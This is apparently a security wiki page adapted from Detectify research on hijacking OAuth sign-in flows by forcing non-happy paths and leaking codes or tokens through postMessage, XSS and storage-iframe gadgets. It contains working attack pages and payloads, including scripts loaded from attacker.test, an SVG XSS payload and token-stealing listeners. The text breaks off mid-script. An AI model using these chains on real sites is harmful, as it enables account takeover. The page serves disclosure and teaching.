|||
|
||||
</details>
|
||||
|
||||
**This content was taken from** [**https://labs.detectify.com/2022/07/06/account-hijacking-using-dirty-dancing-in-sign-in-oauth-flows/#gadget-2-xss-on-sandbox-third-party-domain-that-gets-the-url**](https://labs.detectify.com/2022/07/06/account-hijacking-using-dirty-dancing-in-sign-in-oauth-flows/#gadget-2-xss-on-sandbox-third-party-domain-that-gets-the-url)****
|
||||
|
||||
## Explanation of different OAuth-dances
|
||||
|
||||
### Response types
|
||||
|
||||
First, there are different response types you can use in the OAuth-dance. These responses grant the **token to login as the users or the needed info to do so**.
|
||||
|
||||
The three most common ones are:
|
||||
|
||||
1. **`code` + `state`**. The **code** is used to **call the OAuth-provider** server-side to get a token. The **state** parameter is used to verify the **correct user is making the call**. It’s the OAuth-client’s responsibility to validate the state parameter before making the server-side call to the OAuth-provider.
|
||||
2. **`id_token`**. Is a JSON Web Token **(JWT) signed** using a public certificate from the OAuth-provider to verify that the identity provided is indeed who it claims to be.
|
||||
3. **`token`**. Is an **access token** used in the API of the service provider.
|
||||
|
||||
### Response modes
|
||||
|
||||
There are different modes the authorization flow could use to provide the codes or tokens to the website in the OAuth-dance, these are four of the most common ones:
|
||||
|
||||
1. **Query**. Sending query parameters as a redirect back to the website (`https://example.com/callback?code=xxx&state=xxx`). Used for `code+state`. The **code** can only be **used** **once** and you need the **OAuth client secret** to **acquire an access token** when using the code. 
|
||||
1. [This mode is not recommended for tokens](https://openid.net/specs/oauth-v2-multiple-response-types-1\_0-09.html#id\_token) since **tokens can be used multiple times and should not end up in server-logs or similar**. Most OAuth-providers do not support this mode for tokens, only for code. Examples:
|
||||
* `response_mode=query` is used by Apple.
|
||||
* `response_type=code` is used by Google or Facebook.
|
||||
2. **Fragment**. Using a **fragment redirect** (`https://example.com/callback#access_token=xxx`). In this mode, the fragment part of the URL doesn’t end up in any server-logs and can only be reached client-side using javascript. This response mode is used for tokens. Examples:
|
||||
* `response_mode=fragment` is used by Apple and Microsoft.
|
||||
* `response_type` contains `id_token` or `token` and is used by Google, Facebook, Atlassian, and others.
|
||||
3. **Web-message**. Using **postMessage to a fixed origin of the website**:\
|
||||
`postMessage('{"access_token":"xxx"}','https://example.com')`\
|
||||
If supported, it can often be used for all different response types. Examples:
|
||||
* `response_mode=web_message` is used by Apple.
|
||||
* `redirect_uri=storagerelay://...` is used by Google.
|
||||
* `redirect_uri=https://staticxx.facebook.com/.../connect/xd_arbiter/...` is used by Facebook.
|
||||
4. **Form-post**. Using a form post to a valid `redirect_uri`, a **regular POST-request is sent back to the website**. This can be used for code and tokens. Examples:
|
||||
* `response_mode=form_post` is used by Apple.
|
||||
* `ux_mode=redirect&login_uri=https://example.com/callback` is used by Google Sign-In (GSI).
|
||||
|
||||
## Break `state` intentionally <a href="#break-state-intentionally" id="break-state-intentionally"></a>
|
||||
|
||||
The OAuth specification recommends a `state`-parameter in combination with a `response_type=code` to make sure that the user that initiated the flow is also the one using the code after the OAuth-dance to issue a token.
|
||||
|
||||
However, if the **`state`-value is invalid**, the **`code` will not be consumed** since it’s the **website’s responsibility (the final one) to validate the state**. This means that if an attacker can send a login-flow-link to a victim tainted with a valid `state` of the attacker, the OAuth-dance will fail for the victim and the `code` will never be sent to the OAuth-provider. The code will still be possible to use if the attacker can get it.
|
||||
|
||||
1. Attacker starts a sign-in flow on the website using “Sign in with X”.
|
||||
2. Attacker uses the `state`-value and constructs a link for the victim to sign in with the OAuth-provider but with the attacker’s `state`.
|
||||
3. Victim gets signed-in with the link and redirected back to the website.
|
||||
4. Website validates the `state` for the victim and stops processing the sign-in flow since it’s not a valid state. Error page for victim.
|
||||
5. Attacker finds a way to leak the `code` from the error page.
|
||||
6. Attacker can now sign in with their own `state` and the `code` leaked from the victim.
|
||||
|
||||
### Response-type/Response-mode switching
|
||||
|
||||
**Changing response-types or response-modes** of the OAuth-dance will **affect** in what **way** the **codes** or **tokens** are **sent back** to the website, which most of the time causes unexpected behaviour. I haven’t seen any OAuth-provider having the option to restrict what response-types or modes that the website wants to support, so depending on the OAuth-provider there are often at least **two or more that can be changed** to when trying to end up in a non-happy path.
|
||||
|
||||
There’s also an ability to request multiple response-types. There’s a specification explaining [how to provide the values to the redirect-uri when multiple response-types are requested](https://openid.net/specs/oauth-v2-multiple-response-types-1\_0-09.html#Encoding):
|
||||
|
||||
> If, in a request, `response_type` includes only values that require the server to return data fully encoded within the query string, then the returned data in the response for this multiple-valued `response_type` MUST be fully encoded within the query string. This recommendation applies to both success and error responses.
|
||||
>
|
||||
> If, in a request, `response_type` includes any value that requires the server to return data fully encoded within the fragment then the returned data in the response for this multiple-valued `response_type` MUST be fully encoded within the fragment. This recommendation applies to both success and error responses.
|
||||
|
||||
If this specification is followed properly, it means that you can ask for a `code`-parameter sent to the website, but **if you also ask for `id_token` at the same time, the `code`-parameter will be sent in the fragment** part instead of in the query string.
|
||||
|
||||
For Google’s sign-in this means that:
|
||||
|
||||
```
|
||||
https://accounts.google.com/o/oauth2/v2/auth/oauthchooseaccount?
|
||||
client_id=client-id.apps.googleusercontent.com&
|
||||
redirect_uri=https%3A%2F%2Fexample.com%2Fcallback&
|
||||
scope=openid%20email%20profile&
|
||||
response_type=code&
|
||||
access_type=offline&
|
||||
state=yyy&
|
||||
prompt=consent&flowName=GeneralOAuthFlow
|
||||
```
|
||||
|
||||
will redirect to `https://example.com/callback?code=xxx&state=yyy`. But:
|
||||
|
||||
```
|
||||
https://accounts.google.com/o/oauth2/v2/auth/oauthchooseaccount?
|
||||
client_id=client-id.apps.googleusercontent.com&
|
||||
redirect_uri=https%3A%2F%2Fexample.com%2Fcallback&
|
||||
scope=openid%20email%20profile&
|
||||
response_type=code,id_token&
|
||||
access_type=offline&
|
||||
state=yyy&
|
||||
prompt=consent&flowName=GeneralOAuthFlow
|
||||
```
|
||||
|
||||
will redirect to `https://example.com/callback#code=xxx&state=yyy&id_token=zzz`.
|
||||
|
||||
Same idea applies to Apple if you use:
|
||||
|
||||
```
|
||||
https://appleid.apple.com/auth/authorize?
|
||||
response_type=code&
|
||||
response_mode=query&
|
||||
scope=&
|
||||
state=zzz&
|
||||
client_id=client-id&
|
||||
redirect_uri=https%3A%2F%2Fexample.com%2Fcallback
|
||||
```
|
||||
|
||||
you will be redirected to `https://example.com/callback?code=xxx&state=yyy`, but:
|
||||
|
||||
```
|
||||
https://appleid.apple.com/auth/authorize?
|
||||
response_type=code+id_token&
|
||||
response_mode=fragment&
|
||||
scope=&
|
||||
state=zzz&
|
||||
client_id=client-id&
|
||||
redirect_uri=https%3A%2F%2Fexample.com%2Fcallback
|
||||
```
|
||||
|
||||
Will redirect you to `https://example.com/callback#code=xxx&state=yyy&id_token=zzz`.
|
||||
|
||||
## Non-Happy Paths
|
||||
|
||||
The author of the research called **non-happy paths to wrong URLs where the user login via OAuth was redirected to**. This is useful because if the client is provided the token o a valid state+code **but he doesn't reach the expected page**, that **information won't be properly consumed** and if the attacker finds a way to **exfiltrate that info** from the "non-happy path" he will be able to **takeover the account**.
|
||||
|
||||
By default, the OAuth flow will reach the expected path, however, there could be some potential **misconfigurations** that could allow an attacker to **craft a specific initial OAuth request** that will make the **user reach a non-happy path after logging in**.
|
||||
|
||||
### Redirect-uri mismatchings
|
||||
|
||||
These "common" found **misconfigurations** were found in the **redirect url** of the OAuth communication.
|
||||
|
||||
The [**specification**](https://datatracker.ietf.org/doc/html/draft-ietf-oauth-security-topics-19#section-2.1) **** strictly indicates that the redirect url should be strictly compared with the one defined not allowing changes appart from the port appearing or not. However, some endpoints where allowing some modifications:
|
||||
|
||||
### Redirect-uri path appending
|
||||
|
||||
Some OAuth-providers **allow additional data to be added** to the path for `redirect_uri`. This is also breaking the specification in the same way as for “Redirect-uri case shifting”. For example, having a `https://example.com/callback`redirect uri, sending in:
|
||||
|
||||
```
|
||||
response_type=id_token&
|
||||
redirect_uri=https://example.com/callbackxxx
|
||||
```
|
||||
|
||||
would end up in a redirect to `https://example.com/callbackxxx#id_token`.
|
||||
|
||||
### Redirect-uri parameter appending
|
||||
|
||||
Some OAuth-providers **allow additional query or fragment parameters** to be added to the `redirect_uri`. You can use this by triggering a non-happy path by providing the same parameters that will be appended to the URL. For example, having a `https://example.com/callback` redirect uri, sending in:
|
||||
|
||||
```
|
||||
response_type=code&
|
||||
redirect_uri=https://example.com/callback%3fcode=xxx%26
|
||||
```
|
||||
|
||||
would end up in these cases as a redirect to `https://example.com/callback?code=xxx&code=real-code`. Depending on the website receiving **multiple parameters with the same name, this could also trigger a non-happy path**. Same applies to `token` and `id_token`:
|
||||
|
||||
```
|
||||
response_type=code&
|
||||
redirect_uri=https://example.com/callback%23id_token=xxx%26
|
||||
```
|
||||
|
||||
ends up as `https://example.com/callback#id_token=xxx&id_token=real-id_token`. Depending on the **javascript that fetches the fragment parameters when multiple parameters of the same name are present**, this could also end up in a non-happy path.
|
||||
|
||||
### Redirect-uri leftovers or misconfigurations
|
||||
|
||||
When collecting all sign-in URLs containing the `redirect_uri`-values I could also test if other redirect-uri values were also valid. Out of 125 different Google sign-in flows I saved from the websites I tested, 5 websites had the start-page also as a valid `redirect_uri`. For example, if `redirect_uri=https://auth.example.com/callback` was the one being used, in these 5 cases, any of these were also valid:
|
||||
|
||||
* `redirect_uri=https://example.com/`
|
||||
* `redirect_uri=https://example.com`
|
||||
* `redirect_uri=https://www.example.com/`
|
||||
* `redirect_uri=https://www.example.com`
|
||||
|
||||
This was especially interesting for the websites that actually used `id_token` or `token`, since `response_type=code` will still have the OAuth-provider validating the `redirect_uri` in the last step of the OAuth-dance when acquiring a token.
|
||||
|
||||
## Gadget 1: Weak or no origin-check postMessage-listeners that leaks URL
|
||||
|
||||
![](https://labs.detectify.com/wp-content/uploads/2022/06/gadget-1-1024x582.png)
|
||||
|
||||
**In this example, the final non-happy path where the token/code was being send was sending a post request message leaking location.href.**\
|
||||
One example was an analytics-SDK for a popular site that was loaded on websites:
|
||||
|
||||
![](https://labs.detectify.com/wp-content/uploads/2022/06/gadget1-example1.png)
|
||||
|
||||
This SDK exposed a postMessage-listener which sent the following message when the message-type matched:
|
||||
|
||||
![](https://labs.detectify.com/wp-content/uploads/2022/06/gadget1-example2.png)
|
||||
|
||||
Sending a message to it from a different origin:
|
||||
|
||||
```javascript
|
||||
openedwindow = window.open('https://www.example.com');
|
||||
...
|
||||
openedwindow.postMessage('{"type":"sdk-load-embed"}','*');
|
||||
```
|
||||
|
||||
A response message would show up in the window that sent the message containing the `location.href` of the website:
|
||||
|
||||
![](https://labs.detectify.com/wp-content/uploads/2022/06/gadget1-example3.png)
|
||||
|
||||
The flow that could be used in an attack depended on how codes and tokens were used for the sign-in flow, but the idea was:
|
||||
|
||||
### **Attack**
|
||||
|
||||
1. Attacker sends the victim a **crafted link** that has been prepared to **result in a non-happy path** in the OAuth-dance.
|
||||
2. Victim **clicks** the link. New tab opens up with a **sign-in** flow with one of the OAuth-providers of the website being exploited.
|
||||
3. Non-happy path gets triggered on the website being exploited, the **vulnerable postMessage-listener is loaded on the page the victim landed on, still with the code or tokens in the URL**.
|
||||
4. **Original tab** sent by the attacker sends a bunch of **postMessages** to the new tab with the website to get the postMessage-listener to leak the current URL.
|
||||
5. Original tab sent by the attacker then **listens to the message sent to it**. When the URL comes back in a message, the **code and token is extracted** and sent to the attacker.
|
||||
6. **Attacker signs in as the victim** using the code or token that ended up on the non-happy path.
|
||||
|
||||
## Gadget 2: XSS on sandbox/third-party domain that gets the URL
|
||||
|
||||
![](https://labs.detectify.com/wp-content/uploads/2022/06/gadget-2-1024x582.png)
|
||||
|
||||
 
|
||||
|
||||
## **Gadget 2: example 1, stealing window.name from a sandbox iframe**
|
||||
|
||||
This one had an **iframe** loaded on the **page where the OAuth-dance ended**. The **name** of the **iframe** was a **JSON-stringified version of the `window.location` object**. This is an old way of transferring data cross-domain, since the page in the iframe can get its own `window.name` set by the parent:
|
||||
|
||||
```javascript
|
||||
i = document.createElement('iframe');
|
||||
i.name = JSON.stringify(window.location)
|
||||
i.srcdoc = '<script>console.log("my name is: " + window.name)</script>';
|
||||
document.body.appendChild(i)
|
||||
```
|
||||
|
||||
![](https://labs.detectify.com/wp-content/uploads/2022/06/gadget2-example2.png)
|
||||
|
||||
The domain loaded in the **iframe also had a simple XSS**:
|
||||
|
||||
```
|
||||
https://examplesandbox.com/embed_iframe?src=javascript:alert(1)
|
||||
```
|
||||
|
||||
### Attack
|
||||
|
||||
If you have an **XSS** on a **domain** in one window, this window can then **reach other windows of the same origin** if there’s a parent/child/opener-**relationship between the windows**.
|
||||
|
||||
This means that an attacker could **exploit the XSS to load a new tab** with the crafted **OAuth link** that will **end** in the **path** that **loads** the **iframe with the token in the name**. Then, from the **XSS** exploited page it will be possible to **read the name of the iframe** because it has an **opener over the iframes parent page** and exfiltrate it.
|
||||
|
||||
More specificly:
|
||||
|
||||
1. Created a malicious page that’s embedding an iframe of the sandbox with the XSS loading my own script:
|
||||
|
||||
```html
|
||||
<div id="leak"><iframe src="https://examplesandbox.com/embed_iframe?src=javascript:
|
||||
x=createElement('script'),
|
||||
x.src='//attacker.test/inject.js',
|
||||
document.body.appendChild(x);"
|
||||
style="border:0;width:500px;height:500px"></iframe></div>
|
||||
```
|
||||
2. In my script being loaded in the sandbox, I replaced the content with the link to use for the victim:
|
||||
|
||||
```javascript
|
||||
document.body.innerHTML =
|
||||
'<a href="#" onclick="
|
||||
b=window.open("https://accounts.google.com/o/oauth2/auth/oauthchooseaccount?...");">
|
||||
Click here to hijack token</a>';
|
||||
```
|
||||
|
||||
I also started a script in an interval to check if the link was opened and the iframe I wanted to reach is there to get the `window.name` set on the iframe with the same origin as the iframe on the attacker’s page:
|
||||
|
||||
```javascript
|
||||
x = setInterval(function() {
|
||||
if(parent.window.b &&
|
||||
parent.window.b.frames[0] &&
|
||||
parent.window.b.frames[0].window &&
|
||||
parent.window.b.frames[0].window.name) {
|
||||
top.postMessage(parent.window.b.frames[0].window.name, '*');
|
||||
parent.window.b.close();
|
||||
clearInterval(x);
|
||||
}
|
||||
}, 500);
|
||||
```
|
||||
3. The attacker page can then just listen to the message we just sent with the `window.name`:
|
||||
|
||||
```html
|
||||
<script>
|
||||
window.addEventListener('message', function (e) {
|
||||
if (e.data) {
|
||||
document.getElementById('leak').innerText = 'We stole the token: ' + e.data;
|
||||
}
|
||||
});
|
||||
</script>
|
||||
```
|
||||
|
||||
## **Gadget 2: example 2, iframe with XSS + parent origin check**
|
||||
|
||||
The second example was an **iframe** loaded on the **non-happy path** with an XSS **using postMessage**, but **messages were only allowed from the `parent`** window that loaded it. The **`location.href` was sent down to the iframe when it asked for `initConfig`** in a message to the `parent` window.
|
||||
|
||||
The main window loaded the iframe like this:
|
||||
|
||||
```html
|
||||
<iframe src="https://challenge-iframe.example.com/"></iframe>
|
||||
```
|
||||
|
||||
And the content looked like this (a lot more simplified than how it actually was, but to explain the attack better):
|
||||
|
||||
```html
|
||||
<script>
|
||||
window.addEventListener('message', function (e) {
|
||||
if (e.source !== window.parent) {
|
||||
// not a valid origin to send messages
|
||||
return;
|
||||
}
|
||||
if (e.data.type === 'loadJs') {
|
||||
loadScript(e.data.jsUrl);
|
||||
} else if (e.data.type === 'initConfig') {
|
||||
loadConfig(e.data.config);
|
||||
}
|
||||
});
|
||||
</script>
|
||||
```
|
||||
|
||||
### Attack
|
||||
|
||||
In this case the **attacker loads an iframe with the Post-message XSS vuln page**, and **exploits** the **XSS** to load **arbitrary JS.**\
|
||||
This **JS** will **open** a **tab** with the **OAuth link**. After logging in, the final page contains the toke in the URL and has loaded an iframe (the XSS post-message vuln iframe).
|
||||
|
||||
Then, the **arbitrary JS** (from the exploited XSS) has an **opener to that tab**, so it **access the iframe** and makes it **ask the parent for the `initConfig`** (which contains the **URL with the token**). The parent page **gives it to the iframe**, which is **also commanded to leak it**.\
|
||||
|
||||
|
||||
In this case, I could do a similar method like the previos example:
|
||||
|
||||
1. Create a **malicious** **page** that’s embedding an **iframe** of the sandbox, attach an **onload** to **trigger a script when the iframe is loaded**.
|
||||
|
||||
```html
|
||||
<div id="leak"><iframe
|
||||
id="i" name="i"
|
||||
src="https://challenge-iframe.example.com/"
|
||||
onload="run()"
|
||||
style="border:0;width:500px;height:500px"></iframe></div>
|
||||
```
|
||||
2. Since the **malicious page is then the parent** of the iframe, it could **send a message to the iframe to load our script** in the origin of the sandbox using **postMessage (XSS)**:
|
||||
|
||||
```html
|
||||
<script>
|
||||
function run() {
|
||||
i.postMessage({type:'loadJs',jsUrl:'https://attacker.test/inject.js'}, '*')
|
||||
}
|
||||
</script>
|
||||
```
|
||||
3. In my script being loaded in the sandbox, I replaced the content with the **link for the victim**:
|
||||
|
||||
```javascript
|
||||
document.body.innerHTML = '<a href="#" onclick="
|
||||
b=window.open("https://accounts.google.com/o/oauth2/auth/oauthchooseaccount?...");">
|
||||
Click here to hijack token</a>';
|
||||
```
|
||||
|
||||
I also started a script in an interval to **check if the link was opened and the iframe I wanted to reach was there**, to run javascript inside it from my iframe to the main window. I then attached a postMessage-listener that passed over the message back to my iframe in the malicious window:
|
||||
|
||||
```javascript
|
||||
x = setInterval(function() {
|
||||
if(b && b.frames[1]) {
|
||||
b.frames[1].eval(
|
||||
'onmessage=function(e) { top.opener.postMessage(e.data, "*") };' +
|
||||
'top.postMessage({type:'initConfig'},"*")'
|
||||
)
|
||||
clearInterval(x)
|
||||
}
|
||||
}, 500);
|
||||
```
|
||||
4. The attacker page that had the iframe loaded can then listen to the message I sent from the injected postMessage listener proxy in the main window’s iframe:
|
||||
|
||||
```html
|
||||
<script>
|
||||
window.addEventListener('message', function (e) {
|
||||
if (e.data) {
|
||||
document.getElementById('leak').innerText = 'We stole the token: ' + JSON.stringify(e.data);
|
||||
}
|
||||
});
|
||||
</script>
|
||||
```
|
||||
|
||||
## Gadget 3: Using APIs to fetch URL out-of-bounds
|
||||
|
||||
![](https://labs.detectify.com/wp-content/uploads/2022/06/Gadget-3--1024x582.png)
|
||||
|
||||
 
|
||||
|
||||
This gadget turned out to be the most fun. There’s something satisfying about sending the victim somewhere and then picking up sensitive data from a different location.
|
||||
|
||||
## **Gadget 3: example 1, storage-iframe with no origin check**
|
||||
|
||||
The first example used an external service for tracking-data. This service added a “storage iframe”:
|
||||
|
||||
```html
|
||||
<iframe
|
||||
id="tracking"
|
||||
name="tracking"
|
||||
src="https://cdn.customer1234.analytics.example.com/storage.html">
|
||||
</iframe>
|
||||
```
|
||||
|
||||
The main window would talk with this iframe using postMessage to send tracking-data that would be saved in the localStorage of the origin the `storage.html` was located in:
|
||||
|
||||
```javascript
|
||||
tracking.postMessage('{"type": "put", "key": "key-to-save", "value": "saved-data"}', '*');
|
||||
```
|
||||
|
||||
The main window could also fetch this content:
|
||||
|
||||
```javascript
|
||||
tracking.postMessage('{"type": "get", "key": "key-to-save"}', '*');
|
||||
```
|
||||
|
||||
![](https://labs.detectify.com/wp-content/uploads/2022/06/gadget3-example1.png)
|
||||
|
||||
When the iframe was loaded on initialization, a key was saved for the last location of the user using `location.href`:
|
||||
|
||||
```javascript
|
||||
tracking.postMessage('{"type": "put", "key": "last-url", "value": "https://example.com/?code=test#access_token=test"}', '*');
|
||||
```
|
||||
|
||||
If you could talk with this origin somehow and get it to send you the content, the `location.href` could be fetched from this storage. The postMessage-listener for the service had a block-list and an allow-list of origins. It seems like the analytics-service allowed the website to define what origins to allow or deny:
|
||||
|
||||
```javascript
|
||||
var blockList = [];
|
||||
var allowList = [];
|
||||
var syncListeners = [];
|
||||
|
||||
window.addEventListener('message', function(e) {
|
||||
// If there's a blockList, check if origin is there and if so, deny
|
||||
if (blockList && blockList.indexOf(e.origin) !== -1) {
|
||||
return;
|
||||
}
|
||||
// If there's an allowList, check if origin is there, else deny
|
||||
if (allowList && allowList.indexOf(e.origin) == -1) {
|
||||
return;
|
||||
}
|
||||
// Only parent can talk to it
|
||||
if (e.source !== window.parent) {
|
||||
return;
|
||||
}
|
||||
handleMessage(e);
|
||||
});
|
||||
|
||||
function handleMessage(e) {
|
||||
if (data.type === 'sync') {
|
||||
syncListeners.push({source: e.source, origin: e.origin})
|
||||
} else {
|
||||
...
|
||||
}
|
||||
|
||||
window.addEventListener('storage', function(e) {
|
||||
for(var i = 0; i < syncListeners.length; i++) {
|
||||
syncListeners[i].source.postMessage(JSON.stringify({type: 'sync', key: e.key, value: e.newValue}), syncListeners[i].origin);
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
Also, if you had a valid origin based on the `allowList`, you would also be able to ask for a sync, which would give you any of the changes made to the localStorage in this window sent to you when they were made.
|
||||
|
||||
### Attack
|
||||
|
||||
On the website that had this storage loaded on the non-happy path of the OAuth-dance, no allowList-origins were defined; **this allowed any origin to talk with the postMessage** listener if the origin was the `parent` of the window:
|
||||
|
||||
1. I created a malicious page that embedded an iframe of the storage container and attached an onload to trigger a script when the iframe is loaded.
|
||||
|
||||
```html
|
||||
<div id="leak"><iframe
|
||||
id="i" name="i"
|
||||
src="https://cdn.customer12345.analytics.example.com/storage.html"
|
||||
onload="run()"></iframe></div>
|
||||
```
|
||||
2. Since the malicious page was now the parent of the iframe, and no origins were defined in the `allowList`, the malicious page could send messages to the iframe to tell the storage to send messages for any updates to the storage. I could also add a listener to the malicious page to listen for any sync-updates from the storage:
|
||||
|
||||
```html
|
||||
<script>
|
||||
function run() {
|
||||
i.postMessage({type:'sync'}, '*')
|
||||
}
|
||||
window.addEventListener('message', function (e) {
|
||||
if (e.data && e.data.type === 'sync') {
|
||||
document.getElementById('leak').innerText = 'We stole the token: ' + JSON.stringify(e.data);
|
||||
}
|
||||
});
|
||||
</script>
|
||||
```
|
||||
3. The malicious page would also contain a regular link for the victim to click:
|
||||
|
||||
```html
|
||||
<a href="https://accounts.google.com/o/oauth2/auth/oauthchooseaccount?..."
|
||||
target="_blank">Click here to hijack token</a>';
|
||||
```
|
||||
4. The victim would click the link, go through the OAuth-dance, and end up on the non-happy path loading the tracking-script and the storage-iframe. The storage iframe gets an update of `last-url`. The `window.storage`-event would trigger in the iframe of the malicious page since the localStorage was updated, and the malicious page that was now getting updates whenever the storage changed would get a postMessage with the current URL of the victim:
|
||||
|
||||
<figure><img src="https://labs.detectify.com/wp-content/uploads/2022/06/gadget3-example2.png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
## **Gadget 3: example 2, customer mix-up in CDN – DIY storage-SVG without origin check**
|
||||
|
||||
Since the analytics-service itself had a bug bounty, I was also interested to see if I could find a way to leak URLs also for the websites that had configured proper origins for the storage-iframe.
|
||||
|
||||
When I started searching for the `cdn.analytics.example.com` domain online without the customer-part of it, I noticed that this CDN also contained images uploaded by customers of the service:
|
||||
|
||||
```
|
||||
https://cdn.analytics.example.com/img/customer42326/event-image.png
|
||||
https://cdn.analytics.example.com/img/customer21131/test.png
|
||||
```
|
||||
|
||||
I also noticed that there were SVG-files served inline as `Content-type: image/svg+xml` on this CDN:
|
||||
|
||||
```
|
||||
https://cdn.analytics.example.com/img/customer54353/icon-register.svg
|
||||
```
|
||||
|
||||
I registered as a trial user on the service, and uploaded my own asset, which also showed up on the CDN:
|
||||
|
||||
```
|
||||
https://cdn.analytics.example.com/img/customer94342/tiger.svg
|
||||
```
|
||||
|
||||
The interesting part was that, if you then used the customer-specific subdomain for the CDN, the image was still served. This URL worked:
|
||||
|
||||
```
|
||||
https://cdn.customer12345.analytics.example.com/img/customer94342/tiger.svg
|
||||
```
|
||||
|
||||
![](https://labs.detectify.com/wp-content/uploads/2022/06/gadget3-example4.png)
|
||||
|
||||
This meant that the customer with ID #94342 could render SVG-files in customer #12345’s storage.
|
||||
|
||||
I uploaded a SVG-file with a simple XSS-payload:
|
||||
|
||||
`https://cdn.customer12345.analytics.example.com/img/customer94342/test.svg`
|
||||
|
||||
```html
|
||||
<?xml version="1.0" encoding="UTF-8" standalone="no"?>
|
||||
<svg id="svg2" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" viewbox="0 0 500 500" width="100%" height="100%" version="1.1">
|
||||
<script xlink:href="data:,alert(document.domain)"></script>
|
||||
</svg>
|
||||
```
|
||||
|
||||
![](https://labs.detectify.com/wp-content/uploads/2022/06/gadget3-example3.png)
|
||||
|
||||
Not great. The CDN added a `Content-Security-Policy: default-src 'self'` header to everything under `img/`. You could also see the server header mentioned S3 – disclosing that the content was uploaded to an S3-bucket:
|
||||
|
||||
![](https://labs.detectify.com/wp-content/uploads/2022/06/gadget3-example5.png)
|
||||
|
||||
One interesting quirk with S3 is that directories are not really directories in S3; the path before the key is called a “prefix”. This means that S3 doesn’t care if `/` are url-encoded or not, it will still serve the content if you url-encode every slash in the URL. If I changed `img/` to `img%2f` in the URL would still resolve the image. However, in that case the CSP-header was removed and the XSS triggered:
|
||||
|
||||
![](https://labs.detectify.com/wp-content/uploads/2022/06/gadget3-example6.png)
|
||||
|
||||
I could then upload an SVG that would create the same form of storage-handler and postMessage-listener like the regular `storage.html`, but an empty `allowList`. That allowed me to do the same kind of attack even on websites that had properly defined the allowed origins that could talk to the storage.
|
||||
|
||||
I uploaded a SVG that looked like this:
|
||||
|
||||
```html
|
||||
<?xml version="1.0" encoding="UTF-8" standalone="no"?>
|
||||
<svg id="svg2" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" viewbox="0 0 5 5" width="100%" height="100%" version="1.1">
|
||||
<script xlink:href="data:application/javascript;base64,dmFyIGJsb2NrTGlzdCA9IFtdOwp2YXIgYWxsb3dMaXN0ID0gW107Ci4uLg=="></script>
|
||||
</svg>
|
||||
```
|
||||
|
||||
I could then utilize the same methodology like in example #1, but instead of iframing the `storage.html` I could just iframe the SVG with the url-encoded slash:
|
||||
|
||||
```html
|
||||
<div id="leak"><iframe
|
||||
id="i" name="i"
|
||||
src="https://cdn.customer12345.analytics.example.com/img%2fcustomer94342/listener.svg"
|
||||
onload="run()"></iframe></div>
|
||||
```
|
||||
|
||||
Since no website would be able to patch this themselves, I sent a report to the analytics provider in charge of the CDN instead:
|
||||
|
||||
![](https://labs.detectify.com/wp-content/uploads/2022/06/gadget3-example7.png)
|
||||
|
||||
The whole idea about looking at misconfiguration bugs on the third-party was mainly to confirm that there are multiple ways to achieve the leaking of the tokens and since the third-party had a bug bounty, this was just a different receiver for the same kind of bug, the difference being that the impact was for all of the customers of the analytics service instead. In this case, the customer of the third-party actually had the ability to properly configure the tool to not make it leak data to the attacker. However, since the sensitive data was still sent to the third-party it was interesting to see if there was somehow a way to completely bypass the customer’s proper configuration of the tool.
|
||||
|
||||
## **Gadget 3: example 3, chat-widget API**
|
||||
|
||||
The last example was based on a chat-widget that was present on all pages of a website, even the error pages. There were multiple postMessage-listeners, one of them without a proper origin check that only allowed you to start the chat-popup. Another listener had a strict origin check for the chat-widget to receive an initialization-call and the current chat-api-token that was used for the current user.
|
||||
|
||||
```html
|
||||
<iframe src="https://chat-widget.example.com/chat"></iframe>
|
||||
<script>
|
||||
window.addEventListener('message', function(e) {
|
||||
if (e.data.type === 'launch-chat') {
|
||||
openChat();
|
||||
}
|
||||
});
|
||||
|
||||
function openChat() {
|
||||
...
|
||||
}
|
||||
|
||||
var chatApiToken;
|
||||
window.addEventListener('message', function(e) {
|
||||
if (e.origin === 'https://chat-widget.example.com') {
|
||||
if (e.data.type === 'chat-widget') {
|
||||
if (e.data.key === 'api-token') {
|
||||
chatApiToken = e.data.value;
|
||||
}
|
||||
if(e.data.key === 'init') {
|
||||
chatIsLoaded();
|
||||
}
|
||||
}
|
||||
}
|
||||
});
|
||||
|
||||
function chatIsLoaded() {
|
||||
...
|
||||
}
|
||||
</script>
|
||||
```
|
||||
|
||||
When the chat-iframe loaded:
|
||||
|
||||
1. If a chat-api-token existed in the chat-widget’s localStorage it would send the api-token to its parent using postMessage. If no chat-api-token existed it would not send anything.
|
||||
2. When iframe has loaded it will send a postMessage with a `{"type": "chat-widget", "key": "init"}` to its parent.
|
||||
|
||||
If you clicked on the chat-icon in the main window:
|
||||
|
||||
1. If no chat-api-token had been sent already, the chat-widget would create one and put it in its own origin’s localStorage and postMessage it to the parent window.
|
||||
2. The parent window would then make an API-call to the chat-service. The API-endpoint was CORS-restricted to the specific website configured for the service. You had to provide a valid `Origin`-header for the API-call with the chat-api-token to allow the request to be sent.
|
||||
3. The API-call from the main window would contain `location.href` and register it as the “current page” of the visitor with the chat-api-token. The response would then contain tokens to connect to a websocket to initiate the chat-session:
|
||||
|
||||
```json
|
||||
{
|
||||
"api_data": {
|
||||
"current_page": "https://example.com/#access_token=test",
|
||||
"socket_key": "xxxyyyzzz",
|
||||
...
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
In this example, I realized the announcement of the chat-api-token would always be announced to the parent of the chat-widget iframe, and if I got the chat-api-token I could just make a server-side request using the token and then add my own artificial `Origin`-header to the API-call since a CORS-header only matters for a browser. This resulted in the following chain:
|
||||
|
||||
1. Created a malicious page that’s embedding an iframe of the chat-widget, added a postMessage-listener to listen for the chat-api-token. Also, triggered an event to reload the iframe if I haven’t gotten the api-token in 2 seconds. This was to make sure that I also supported the victims that had never initiated the chat, and since I could trigger to open the chat remotely, I first needed the chat-api-token to start polling for the data in the chat-API from server-side.
|
||||
|
||||
```html
|
||||
<div id="leak"><iframe
|
||||
id="i" name="i"
|
||||
src="https://chat-widget.example.com/chat" onload="reloadToCheck()"></iframe></div>
|
||||
<script>
|
||||
var gotToken = false;
|
||||
function reloadToCheck() {
|
||||
if (gotToken) return;
|
||||
setTimeout(function() {
|
||||
document.getElementById('i').src = 'https://chat-widget.example.com/chat?' + Math.random();
|
||||
}, 2000);
|
||||
}
|
||||
window.onmessage = function(e) {
|
||||
